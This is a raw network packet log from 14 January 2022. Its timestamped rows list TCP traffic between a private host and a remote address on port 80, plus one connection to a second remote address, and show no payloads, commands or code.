Jan 14, 2022 02:05:14.256962061 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.257105112 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.257152081 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.308676958 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308703899 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308721066 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308737993 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308753967 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308769941 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308773994 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.308785915 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308804035 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308820963 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308837891 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.308839083 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308856010 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308856964 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.308872938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308885098 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.308890104 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308924913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308952093 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.308957100 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308963060 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.308974981 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.308991909 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.309007883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.309022903 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.309036016 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.309039116 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.309070110 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.309087992 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.360681057 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360708952 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360722065 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360734940 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360745907 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360758066 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360769033 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360780954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360795975 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360806942 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360819101 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360831022 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360836983 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.360847950 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360865116 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360882044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360897064 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360910892 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360910892 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.360927105 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360937119 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.360944986 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360961914 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.360989094 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.360996008 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361012936 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361021042 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361031055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361048937 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361057997 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361064911 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361083031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361085892 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361099005 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361114979 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361129999 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361130953 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361143112 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361159086 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361174107 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361190081 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361205101 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361207008 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361222029 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361231089 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361239910 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361254930 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361255884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361273050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361287117 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361289024 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361304998 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.361315966 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.361367941 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.412909985 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.412944078 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.412966967 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.412986994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413008928 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413031101 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413049936 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413050890 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413075924 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413086891 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413100958 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413124084 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413124084 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413147926 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413166046 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413168907 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413192987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413214922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413235903 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413256884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413261890 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413283110 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413289070 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413305998 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413309097 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413328886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413352013 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413352966 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413373947 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413393974 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413398981 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413422108 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413444996 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413449049 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413469076 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413491011 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413511992 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413516998 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413535118 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413543940 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413558006 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413573980 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413580894 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413602114 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413623095 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413629055 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413646936 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413666964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413670063 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413687944 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413708925 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413714886 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413732052 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413753986 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413774014 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413779974 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413796902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413810015 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413820028 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413840055 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413842916 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413882017 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413897038 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413902044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413923979 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413944960 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413959980 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.413964987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413985968 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.413995981 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.414037943 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465540886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465574980 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465595007 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465612888 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465632915 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465656042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465673923 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465696096 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465697050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465722084 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465739965 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465745926 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465764999 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465769053 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465792894 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465795994 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465816021 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465840101 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465866089 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465887070 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465895891 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465913057 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465934992 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465956926 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.465958118 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.465985060 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466006041 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466015100 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466031075 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466053963 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466077089 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466078997 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466100931 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466109037 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466125011 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466147900 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466157913 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466172934 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466193914 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466216087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466222048 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466239929 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466249943 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466264009 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466286898 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466290951 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466309071 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466331005 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466352940 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466353893 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466373920 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466384888 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466398001 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466419935 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466428041 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466444016 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466465950 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466468096 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466490030 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466511965 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466532946 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466536045 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466556072 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466566086 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466579914 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466602087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466609001 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466624975 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466649055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.466656923 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.466696024 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.506114960 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.518343925 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518378019 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518502951 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518526077 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518551111 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518558025 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518574953 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518600941 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518604994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518620968 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518630981 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518654108 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518672943 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518677950 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518702030 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518727064 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518748045 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518750906 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518775940 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518778086 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518810034 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518831968 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518832922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518862009 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518883944 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518887043 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518908024 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518927097 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518938065 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518949986 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518973112 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.518976927 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.518995047 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519017935 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519018888 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519036055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519061089 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519083023 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519083977 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519100904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519115925 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519123077 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519145966 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519154072 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519169092 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519192934 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519201994 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519216061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519239902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519262075 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519265890 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519284964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519294024 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519309044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519330978 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519339085 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519350052 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519366980 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519383907 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519414902 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519809961 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519834042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519857883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519881964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519887924 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519906044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519928932 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519943953 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.519953012 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519974947 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.519979954 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.520626068 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572218895 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572277069 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572316885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572350025 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572355032 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572396994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572415113 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572437048 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572478056 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572479963 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572518110 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572556973 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572594881 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572598934 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572634935 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572638035 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572673082 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572711945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572750092 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572756052 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572789907 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572793961 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572833061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572873116 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572911978 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572927952 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572952032 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.572953939 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.572990894 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573030949 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573067904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573079109 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573107958 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573110104 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573148966 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573185921 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573224068 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573230982 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573263884 CET	80	49874	93.189.42.167	192.168.2.3
